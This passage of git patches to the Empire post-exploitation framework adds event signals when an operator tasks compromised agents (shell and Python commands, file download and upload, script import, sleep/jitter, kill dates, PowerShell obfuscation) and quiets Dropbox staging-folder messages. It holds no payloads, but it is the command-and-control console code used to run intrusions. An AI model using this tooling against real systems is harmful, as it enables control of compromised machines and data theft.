a/lib/common/empire.py b/lib/common/empire.py index dcbdb2826..11ea920f5 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -975,25 +975,6 @@ def __init__(self, mainMenu): cmd.Cmd.__init__(self) self.mainMenu = mainMenu - def handle_agent_event(self, signal, sender): - """ - Handle agent event signals. - """ - name = self.mainMenu.agents.get_agent_name_db(self.sessionID) - if(sender.startswith("agents/{}".format(name))): - # display any results returned by this agent that are returned - # while we are interacting with it - try: - signal_data = json.loads(signal) - except ValueError: - print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender))) - return - - if('cprint' in signal_data and signal_data['cprint']): - results = self.mainMenu.agents.get_agent_results_db(self.sessionID) - if results: - print "\n" + results - def cmdloop(self): if len(self.mainMenu.resourceQueue) > 0: self.cmdqueue.append(self.mainMenu.resourceQueue.pop(0)) @@ -1004,18 +985,18 @@ def emptyline(self): def postcmd(self, stop, line): - if line == "back": - return True - if len(self.mainMenu.resourceQueue) > 0: - nextcmd = self.mainMenu.resourceQueue.pop(0) - if nextcmd == "lastautoruncmd": - raise Exception("endautorun") - self.cmdqueue.append(nextcmd) + if line == "back": + return True + if len(self.mainMenu.resourceQueue) > 0: + nextcmd = self.mainMenu.resourceQueue.pop(0) + if nextcmd == "lastautoruncmd": + raise Exception("endautorun") + self.cmdqueue.append(nextcmd) def do_back(self, line): - "Go back a menu." - return True + "Go back a menu." + return True def do_listeners(self, line): "Jump to the listeners menu." @@ -1615,9 +1596,6 @@ def __init__(self, mainMenu, sessionID): if results: print "\n" + results.rstrip('\r\n') - # listen for messages from this specific agent - dispatcher.connect(SubMenu.handle_agent_event, sender=dispatcher.Any) - # def preloop(self): # traceback.print_stack() @@ -2360,9 +2338,6 @@ def __init__(self, mainMenu, sessionID): # set the text prompt self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > ' - # listen for messages from this specific agent - dispatcher.connect(SubMenu.handle_agent_event, sender=dispatcher.Any) - # display any results from the database that were stored # while we weren't interacting with the agent results = self.mainMenu.agents.get_agent_results_db(self.sessionID) @@ -3465,7 +3440,8 @@ def do_execute(self, line): message = "[*] Tasked agent {} to run module {}".format(sessionID, self.moduleName) signal = json.dumps({ 'print': True, - 'message': message + 'message': message, + 'options': self.module.options }) dispatcher.send(signal, sender="agents/{}/{}".format(sessionID, self.moduleName)) msg = "Tasked agent to run module {}".format(self.moduleName) @@ -3496,7 +3472,8 @@ def do_execute(self, line): message = "[*] Tasked agent {} to run module {}".format(agentName, self.moduleName) signal = json.dumps({ 'print': True, - 'message': message + 'message': message, + 'options': self.module.options }) dispatcher.send(signal, sender="agents/{}/{}".format(agentName, self.moduleName)) msg = "Tasked agent to run module %s" % (self.moduleName) From 554521141ed17cc4d1f4810530380aa9e18bfb11 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Thu, 18 Jan 2018 23:10:58 -0700 Subject: [PATCH 031/136] remove output for dbx folder already exists messages --- lib/listeners/dbx.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py index ab6f30ab1..80434f5cd 100755 --- a/lib/listeners/dbx.py +++ b/lib/listeners/dbx.py @@ -868,7 +868,7 @@ def delete_file(dbx, path): listenerName = self.options['Name']['Value'] message = "[*] Dropbox folder '{}' already exists".format(stagingFolder) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) @@ -878,7 +878,7 @@ def delete_file(dbx, path): listenerName = self.options['Name']['Value'] message = "[*] Dropbox folder '{}' already exists".format(taskingsFolder) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) @@ -888,7 +888,7 @@ def delete_file(dbx, path): listenerName = self.options['Name']['Value'] message = "[*] Dropbox folder '{}' already exists".format(resultsFolder) signal = json.dumps({ - 'print': True, + 'print': False, 'message': message }) dispatcher.send(signal, sender="listeners/dropbox/{}".format(listenerName)) From 4fd93cfff45ef2a8c0c0aa7031d6032677064843 Mon Sep 17 00:00:00 2001 From: Dakota Nelson Date: Fri, 19 Jan 2018 01:32:43 -0700 Subject: [PATCH 032/136] add events to lib/common/empire --- lib/common/empire.py | 604 +++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 581 insertions(+), 23 deletions(-) diff --git a/lib/common/empire.py b/lib/common/empire.py index 11ea920f5..58c9f423c 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -423,6 +423,14 @@ def do_plugin(self, pluginName): pluginNames = [name for _, name, _ in pkgutil.walk_packages([pluginPath])] if pluginName in pluginNames: print(helpers.color("[*] Plugin {} found.".format(pluginName))) + + message = "[*] Loading plugin {}".format(pluginName) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") + # 'self' is the mainMenu object plugins.load_plugin(self, pluginName) else: @@ -665,10 +673,24 @@ def do_set(self, line): print helpers.color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.") else: self.obfuscate = True - print helpers.color("[*] Obfuscating all future powershell commands run on all agents.") + + message = "[*] Obfuscating all future powershell commands run on all agents." + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") + elif parts[1].lower() == "false": - print helpers.color("[*] Future powershell command run on all agents will not be obfuscated.") self.obfuscate = False + + message = "[*] Future powershell commands run on all agents will not be obfuscated." + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="empire") + else: print helpers.color("[!] Valid options for obfuscate are 'true' or 'false'") elif parts[0].lower() == "obfuscate_command": @@ -836,7 +858,13 @@ def do_preobfuscate(self, line): for file in files: file = self.installPath + file if reobfuscate or not helpers.is_obfuscated(file): - print helpers.color("[*] Obfuscating " + os.path.basename(file) + "...") + message = "[*] Obfuscating {}...".format(os.path.basename(file)) + signal = json.dumps({ + 'print': True, + 'message': message, + 'obfuscated_file': os.path.basename(file) + }) + dispatcher.send(signal, sender="empire") else: print helpers.color("[*] " + os.path.basename(file) + " was already obfuscated. Not reobfuscating.") helpers.obfuscate_module(file, self.obfuscateCommand, reobfuscate) @@ -1200,6 +1228,15 @@ def do_sleep(self, line): self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID) # task the agent self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter)) + + # dispatch this event + message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # update the agent log msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1219,6 +1256,15 @@ def do_sleep(self, line): self.mainMenu.agents.set_agent_field_db('jitter', jitter, sessionID) self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-Delay ' + str(delay) + ' ' + str(jitter)) + + # dispatch this event + message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # update the agent log msg = "Tasked agent to delay sleep/jitter %s/%s" % (delay, jitter) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1245,6 +1291,15 @@ def do_lostlimit(self, line): self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID) # task the agent self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit)) + + # dispatch this event + message = "[*] Tasked agent to change lost limit {}".format(lostLimit) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # update the agent log msg = "Tasked agent to change lost limit %s" % (lostLimit) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1259,6 +1314,15 @@ def do_lostlimit(self, line): self.mainMenu.agents.set_agent_field_db('lost_limit', lostLimit, sessionID) self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', 'Set-LostLimit ' + str(lostLimit)) + + # dispatch this event + message = "[*] Tasked agent to change lost limit {}".format(lostLimit) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # update the agent log msg = "Tasked agent to change lost limit %s" % (lostLimit) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1286,6 +1350,16 @@ def do_killdate(self, line): self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID) # task the agent self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date)) + + # dispatch this event + message = "[*] Tasked agent to set killdate to {}".format(date) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + + # update the agent log msg = "Tasked agent to set killdate to " + str(date) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1299,6 +1373,15 @@ def do_killdate(self, line): self.mainMenu.agents.set_agent_field_db('kill_date', date, sessionID) # task the agent self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-KillDate " + str(date)) + + # dispatch this event + message = "[*] Tasked agent to set killdate to {}".format(date) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # update the agent log msg = "Tasked agent to set killdate to " + str(date) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1327,6 +1410,16 @@ def do_workinghours(self, line): self.mainMenu.agents.set_agent_field_db('working_hours', hours, sessionID) # task the agent self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours)) + + # dispatch this event + message = "[*] Tasked agent to set working hours to {}".format(hours) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + + # update the agent log msg = "Tasked agent to set working hours to %s" % (hours) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1343,6 +1436,14 @@ def do_workinghours(self, line): # task the agent self.mainMenu.agents.add_agent_task_db(sessionID, 'TASK_SHELL', "Set-WorkingHours " + str(hours)) + # dispatch this event + message = "[*] Tasked agent to set working hours to {}".format(hours) + signal = json.dumps({ + 'print': True, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(sessionID)) + # update the agent log msg = "Tasked agent to set working hours to %s" % (hours) self.mainMenu.agents.save_agent_log(sessionID, msg) @@ -1612,6 +1713,16 @@ def default(self, line): shellcmd = ' '.join(parts) # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd) + + # dispatch this event + message = "[*] Tasked agent to run command {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message, + 'command': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to run command " + line self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1668,6 +1779,15 @@ def do_exit(self, line): if choice.lower() == "y": self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT') + + # dispatch this event + message = "[*] Tasked agent to exit" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit") return True @@ -1689,6 +1809,15 @@ def do_jobs(self, line): if len(parts) == 1: if parts[0] == '': self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS") + + # dispatch this event + message = "[*] Tasked agent to get running jobs" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs") else: @@ -1696,6 +1825,15 @@ def do_jobs(self, line): elif len(parts) == 2: jobID = parts[1].strip() self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID) + + # dispatch this event + message = "[*] Tasked agent to stop job {}".format(jobID) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID)) @@ -1707,6 +1845,15 @@ def do_downloads(self, line): if len(parts) == 1: if parts[0] == '': self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETDOWNLOADS") + + # dispatch this event + message = "[*] Tasked agent to get downloads" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + #update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get downloads") else: @@ -1714,6 +1861,15 @@ def do_downloads(self, line): elif len(parts) == 2: jobID = parts[1].strip() self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPDOWNLOAD", jobID) + + # dispatch this event + message = "[*] Tasked agent to stop download {}".format(jobID) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + #update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop download " + str(jobID)) @@ -1733,6 +1889,15 @@ def do_sleep(self, line): self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID) self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-Delay " + str(delay) + ' ' + str(jitter)) + + # dispatch this event + message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1748,6 +1913,15 @@ def do_lostlimit(self, line): # update this agent's information in the database self.mainMenu.agents.set_agent_field_db("lost_limit", lostLimit, self.sessionID) self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-LostLimit " + str(lostLimit)) + + # dispatch this event + message = "[*] Tasked agent to change lost limit {}".format(lostLimit) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to change lost limit " + str(lostLimit) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1772,6 +1946,14 @@ def do_kill(self, line): self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", command) + # dispatch this event + message = "[*] Tasked agent to kill process {}".format(process) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + msg = "Tasked agent to kill process: " + str(process) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1784,6 +1966,15 @@ def do_killdate(self, line): if date == "": self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-KillDate") + + # dispatch this event + message = "[*] Tasked agent to get KillDate" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get KillDate") else: @@ -1793,6 +1984,14 @@ def do_killdate(self, line): # task the agent self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-KillDate " + str(date)) + # dispatch this event + message = "[*] Tasked agent to set KillDate to {}".format(date) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to set killdate to " + str(date) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1806,6 +2005,15 @@ def do_workinghours(self, line): if hours == "": self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Get-WorkingHours") + + # dispatch this event + message = "[*] Tasked agent to get working hours" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours") else: @@ -1816,6 +2024,14 @@ def do_workinghours(self, line): # task the agent self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "Set-WorkingHours " + str(hours)) + # dispatch this event + message = "[*] Tasked agent to set working hours to {}".format(hours) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to set working hours to " + str(hours) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1829,6 +2045,15 @@ def do_shell(self, line): if line != "": # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", "shell " + str(line)) + + # dispatch this event + message = "[*] Tasked agent to run shell command {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to run shell command " + line self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1839,6 +2064,15 @@ def do_sysinfo(self, line): # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO") + + # dispatch this event + message = "[*] Tasked agent to get system information" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information") @@ -1850,6 +2084,15 @@ def do_download(self, line): if line != "": self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line) + + # dispatch this event + message = "[*] Tasked agent to get system information" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to download " + line self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1883,8 +2126,18 @@ def do_upload(self, line): if size > 1048576: print helpers.color("[!] File size is too large. Upload limit is 1MB.") else: - # update the agent log with the filename and MD5 - print helpers.color("[*] Size of %s for upload: %s" %(uploadname, helpers.get_file_size(file_data)), color="green") + # dispatch this event + message = "[*] Tasked agent to upload {}, {}".format(uploadname, helpers.get_file_size(file_data)) + signal = json.dumps({ + 'print': True, + 'message': message, + 'file_name': uploadname, + 'file_md5': hashlib.md5(file_data).hexdigest(), + 'file_size': helpers.get_file_size(file_data) + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + + # update the agent log msg = "Tasked agent to upload %s : %s" % (parts[0], hashlib.md5(file_data).hexdigest()) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1912,6 +2165,16 @@ def do_scriptimport(self, line): # task the agent to important the script self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_IMPORT", script_data) + # dispatch this event + message = "[*] Tasked agent to import {}: {}".format(path, hashlib.md5(script_data).hexdigest()) + signal = json.dumps({ + 'print': False, + 'message': message, + 'import_path': path, + 'import_md5': hashlib.md5(script_data).hexdigest() + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log with the filename and MD5 msg = "Tasked agent to import %s : %s" % (path, hashlib.md5(script_data).hexdigest()) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1933,6 +2196,15 @@ def do_scriptcmd(self, line): if command != "": self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", command) + + # dispatch this event + message = "[*] Tasked agent {} to run {}".format(self.sessionID, command) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + msg = "[*] Tasked agent %s to run %s" % (self.sessionID, command) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -1988,6 +2260,14 @@ def do_updateprofile(self, line): # task the agent to update their profile self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", updatecmd) + # dispatch this event + message = "[*] Tasked agent to update profile {}".format(profile) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to update profile " + profile self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2396,6 +2676,15 @@ def do_exit(self, line): if choice.lower() == "y": self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT') + + # dispatch this event + message = "[*] Tasked agent to exit" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit") return True @@ -2422,6 +2711,15 @@ def do_cd(self, line): self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir(os.pardir); print "Directory stepped down: %s"' % (line)) else: self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir("%s"); print "Directory changed to: %s"' % (line, line)) + + # dispatch this event + message = "[*] Tasked agent to change active directory to {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to change active directory to: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2435,6 +2733,15 @@ def do_jobs(self, line): if len(parts) == 1: if parts[0] == '': self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS") + + # dispatch this event + message = "[*] Tasked agent to get running jobs" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs") else: @@ -2442,6 +2749,15 @@ def do_jobs(self, line): elif len(parts) == 2: jobID = parts[1].strip() self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID) + + # dispatch this event + message = "[*] Tasked agent to get stop job {}".format(jobID) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID)) @@ -2470,6 +2786,15 @@ def do_sleep(self, line): if delay == "": # task the agent to display the delay/jitter self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print 'delay/jitter = ' + str(delay)+'/'+str(jitter)") + + # dispatch this event + message = "[*] Tasked agent to display delay/jitter" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display delay/jitter") elif len(parts) > 0 and parts[0] != "": @@ -2484,6 +2809,14 @@ def do_sleep(self, line): self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'" % (delay, jitter, delay, jitter)) + # dispatch this event + message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to delay sleep/jitter " + str(delay) + "/" + str(jitter) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2498,6 +2831,15 @@ def do_lostlimit(self, line): if lostLimit == "": # task the agent to display the lostLimit self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; print 'lostLimit = ' + str(lostLimit)") + + # dispatch this event + message = "[*] Tasked agent to display lost limit" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display lost limit") else: # update this agent's information in the database @@ -2506,6 +2848,14 @@ def do_lostlimit(self, line): # task the agent with the new lostLimit self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global lostLimit; lostLimit=%s; print 'lostLimit set to %s'"%(lostLimit, lostLimit)) + # dispatch this event + message = "[*] Tasked agent to change lost limit {}".format(lostLimit) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to change lost limit " + str(lostLimit) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2521,6 +2871,15 @@ def do_killdate(self, line): # task the agent to display the killdate self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; print 'killDate = ' + str(killDate)") + + # dispatch this event + message = "[*] Tasked agent to display killDate" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display killDate") else: # update this agent's information in the database @@ -2529,6 +2888,14 @@ def do_killdate(self, line): # task the agent with the new killDate self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global killDate; killDate='%s'; print 'killDate set to %s'" % (killDate, killDate)) + # dispatch this event + message = "[*] Tasked agent to set killDate to {}".format(killDate) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to set killdate to %s" %(killDate) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2542,6 +2909,15 @@ def do_workinghours(self, line): if hours == "": self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; print 'workingHours = ' + str(workingHours)") + + # dispatch this event + message = "[*] Tasked agent to get working hours" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get working hours") else: @@ -2551,6 +2927,14 @@ def do_workinghours(self, line): # task the agent with the new working hours self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global workingHours; workingHours= '%s'"%(hours)) + # dispatch this event + message = "[*] Tasked agent to set working hours to {}".format(hours) + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to set working hours to: %s" % (hours) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2564,6 +2948,16 @@ def do_shell(self, line): if line != "": # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", str(line)) + + # dispatch this event + message = "[*] Tasked agent to run shell command: {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message, + 'command': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to run shell command: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2577,8 +2971,18 @@ def do_python(self, line): if line != "": # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", str(line)) + + # dispatch this event + message = "[*] Tasked agent to run Python command: {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message, + 'command': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log - msg = "Tasked agent to run Python command %s" % (line) + msg = "Tasked agent to run Python command: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) def do_pythonscript(self, line): @@ -2593,10 +2997,21 @@ def do_pythonscript(self, line): script = script.replace('\r\n', '\n') script = script.replace('\r', '\n') encScript = base64.b64encode(script) - msg = "[*] Tasked agent to execute python script: "+filename - print helpers.color(msg, color="green") self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", encScript) + + # dispatch this event + message = "[*] Tasked agent to execute Python script: {}".format(filename) + signal = json.dumps({ + 'print': True, + 'message': message, + 'script_name': filename, + # note md5 is after replacements done on \r and \r\n above + 'script_md5': hashlib.md5(script).hexdigest() + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + #update the agent log + msg = "[*] Tasked agent to execute python script: "+filename self.mainMenu.agents.save_agent_log(self.sessionID, msg) else: print helpers.color("[!] Please provide a valid path", color="red") @@ -2607,6 +3022,15 @@ def do_sysinfo(self, line): # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SYSINFO") + + # dispatch this event + message = "[*] Tasked agent to get system information" + signal = json.dumps({ + 'print': False, + 'message': message + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get system information") @@ -2618,6 +3042,16 @@ def do_download(self, line): if line != "": self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_DOWNLOAD", line) + + # dispatch this event + message = "[*] Tasked agent to download: {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message, + 'download_filename': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to download: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -2651,20 +3085,34 @@ def do_upload(self, line): if size > 1048576: print helpers.color("[!] File size is too large. Upload limit is 1MB.") else: - print helpers.color("[*] Starting size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green") - msg = "Tasked agent to upload " + parts[0] + " : " + hashlib.md5(fileData).hexdigest() + print helpers.color("[*] Original tasked size of %s for upload: %s" %(uploadname, helpers.get_file_size(fileData)), color="green") + + original_md5 = hashlib.md5(fileData).hexdigest() # update the agent log with the filename and MD5 + msg = 